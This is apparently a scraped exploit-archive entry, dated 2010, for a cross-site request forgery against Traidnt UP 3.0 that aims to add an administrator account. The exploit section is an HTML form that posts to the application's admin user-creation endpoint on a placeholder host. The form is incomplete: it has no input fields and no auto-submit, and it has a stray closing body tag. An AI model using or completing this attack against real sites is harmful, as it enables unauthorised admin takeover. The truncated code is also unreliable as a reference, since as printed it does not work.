Traidnt UP – Cross-Site Request Forgery (Add Admin) - 体验盒子

作者： John Johnz

日期： 2010-09-24

类别：

平台：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

# Exploit Title: Traidnt UP - CSRF Add Admin Account

# Date: 24-09-2010

# Author: G0D-F4Th3r

# Software Link: http://www.traidnt.net

# Software Download:

http://traidntup.googlecode.com/files/Traidnt%20up%20V3.0.zip

# Version: 3.0

#######################Exploit#######################################

<html>

<form method="POST" name="form0" action="

http://www.site.com/[path]/admin/users.php?do=addnew">

</form>

</body>

</html>